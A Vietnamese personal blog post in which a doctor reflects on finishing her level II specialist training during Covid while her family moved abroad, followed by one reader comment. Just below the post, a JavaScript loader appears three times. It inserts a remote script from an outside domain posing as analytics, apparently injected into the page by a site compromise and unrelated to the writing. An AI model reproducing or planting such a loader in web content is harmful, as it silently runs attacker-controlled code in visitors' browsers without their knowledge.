Click to listen highlighted text!

Cuộc sống muôn màu, một chút thay đổi có thực sự thú vị?

Lựa chọn của bạn là đúng hay sai đều có cái giá của nó. Và tôi cũng vậy, tôi đã phải lựa chọn rằng mình nên dừng lại hay hoàn thành khóa học của mình?. Vì nếu cuộc sống không có Covid thì mọi chuyện trở nên cực kỳ đơn giản. Nhưng với những diễn biến khó lường như hiện tại, nếu tôi quyết định lùi thời gian đi công tác cùng chồng con, tôi phải đối mặt với việc có thể tôi không phải lùi 1-2 tháng mà có khi cả năm….Lúc đó thì chuyện gì sẽ xảy ra khi ba bố con xa mẹ ở một nơi đất khách.
Nhưng tôi đã lựa chọn: “Hoàn thành khóa học BS chuyên khoa II” và chấp nhận mọi vấn đề có thể đến. Lý do ư??? Tôi vẫn còn nhớ cái cảm giác hồi hộp, phấn chấn khi mình trúng tuyển khóa học BS CKII cách đây 2 năm, những bâng khuâng khi được ngồi lại trên ghế nhà trường. Cái cảm giác hệt như hồi sinh viên, dãy nhà ký túc xá, những hàng cây sân trường, khu giảng đường Hồ Đắc Di … còn nguyên vẹn những kỷ niệm ngày xưa. 2 năm đã trôi qua như một cơn gió, cái đích đang đến rất gần, tôi cũng thèm được nâng niu tấm bằng cho những nỗ lực của mình. (điều này tôi tự thấy nể mình).
Và ngày hôm nay khi tôi chính thức được “an dưỡng” 21 ngày trước khi gặp các tình yêu của mình, tôi thở phào nhìn lại lựa chọn của mình. Thấy mình thật may mắn.
Tôi tự hỏi mình có yêu nghề không?. Chắc chắn là có rồi.
Khi phải lựa chọn tạm xa nghề vài năm. Tôi cũng nhiều trăn trở lắm chứ. Tôi nhớ những ánh mắt, những nụ cười, những lời cảm ơn chân thànhcủa những bệnh nhân khi họ được khỏi bệnh. Nhớ những buổi trực, bữa cơm tối dở dang vì tiếng chuông cấp cứu: “ bác ơi, người nhà em …….”. Nhớ những lúc cả kíp dồn vào ép tim bệnh nhân mong nhìn thấy nhịp đập trở lại. Nhớ những buổi soi dạ dày cấp cứu trong tua trực, hì hục đi tìm mẩu xương cá mắc ở đâu, hay mò mẫm trong dạ dày đầy máu để tìm điểm chảy máu.
Bọn trẻ sợ trực với tôi lắm, chúng bảo “ số chị là cứ phải hung hục cả đêm trực”.
Vậy đấy bác sỹ cũng có số vất vả đấy.
Nhưng tôi cũng phải lựa chọn cho mình… dù muốn hay không??? Cuộc sống mà.
Vào tham gia buổi giao ban trước ngày lên đường tôi thật sự thấy nhớ. Nhớ lắm…

Và rồi trong giấc mơ, ở nơi đất khách tôi đã mơ. Tôi mơ khi tôi tới nơi dừng chân, tôi vẫn gặp bệnh nhân chào tôi và nói: “ bác vừa cắt polyp đại tràng ở đây cháu ạ”. Tôi mừng quá ngỡ mình được tiếp tục làm chuyên môn của mình ở đây, nhưng đó chỉ là giấc mơ, nó lạnh lùng quay lưng tan biến khi tôi tỉnh giấc.
Hẹn gặp nhé!!

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
Click to rate this post!
[Total: 0 Average: 0]

1 thought on “Cuộc sống muôn màu, một chút thay đổi có thực sự thú vị?”

  1. Văn hay, yêu nghề. Rõ ràng đây là bài viết của một bác sĩ. Chắc cũng có ý khoe mới được nhận bằng Bác Sỹ CKII. Không hiểu sao đọc xong lại liên tưởng đến việc bác sĩ mời đến nhà cho thưởng thức món cơm sushi hay phở cuốn. Tóm lại được mời ăn là báo bận.

Leave a Comment

Click to listen highlighted text!